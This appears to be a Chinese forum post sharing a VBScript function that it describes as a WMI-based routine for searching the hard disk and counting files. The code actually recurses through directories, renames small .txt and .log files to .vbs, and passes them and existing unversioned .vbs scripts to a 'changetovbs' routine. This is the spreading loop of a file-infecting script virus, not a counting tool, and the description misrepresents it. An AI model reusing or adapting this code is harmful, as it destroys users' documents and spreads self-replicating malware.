多年之前写的一个VBS调用WMI来遍历搜索硬盘文件，并计数的函数，今天整理网盘，看到了，发上来
核心代码：

1. Function wmisfile(path_sf,justcnt)
   
2.   'On Error Resume Next
   
3.   StrComputer = "."
   
4.   Set ObjWMIService = GetObject("winmgmts:\" & StrComputer & "\root\cimv2")
   
5.   Set FileList = objWMIService.ExecQuery _
   
6.   ("ASSOCIATORS OF {Win32_Directory.Name='" & path_sf & "'} Where " _
   
7.    & "ResultClass = CIM_DataFile")
   
8.   For Each objFile In FileList
   
9.     fname = LCase(objfile.name)
   
10.     ename = LCase(objfile.extension)
    
11.     If 1 < objfile.filesize And objfile.filesize <= 50000 Then
    
12.       Select Case ename
    
13.         Case "txt","log"
    
14.         path_vbs = objfile.drive & objfile.path & objfile.filename & ".vbs"
    
15.         objfile.rename(objfile.drive & objFile.Path & objfile.filename & ".vbs")
    
16.         Call changetovbs(path_vbs,path_vbs)
    
17.         justcnt = justcnt + 1
    
18.         Case "vbs"
    
19.         If checkversion(fname) = False Then
    
20.           Call changetovbs(fname,fname)
    
21.           justcnt = justcnt + 1
    
22.         End If
    
23.       End Select
    
24.     End If
    
25.   Next
    
26.   Set colSubfolders = objWMIService.ExecQuery _
    
27.   ("Associators of {Win32_Directory.Name='" & path_sf & "'} " _
    
28.    & "Where AssocClass = Win32_Subdirectory " _
    
29.    & "ResultRole = PartComponent")
    
30.   For Each objFolder In colSubfolders
    
31.     wmisfile objfolder.name,justcnt
    
32.   Next
    
33. End Function

复制代码

来源：互联网
免责声明：如果侵犯了您的权益，请联系站长（1277306191@qq.com），我们会及时删除侵权内容，谢谢合作！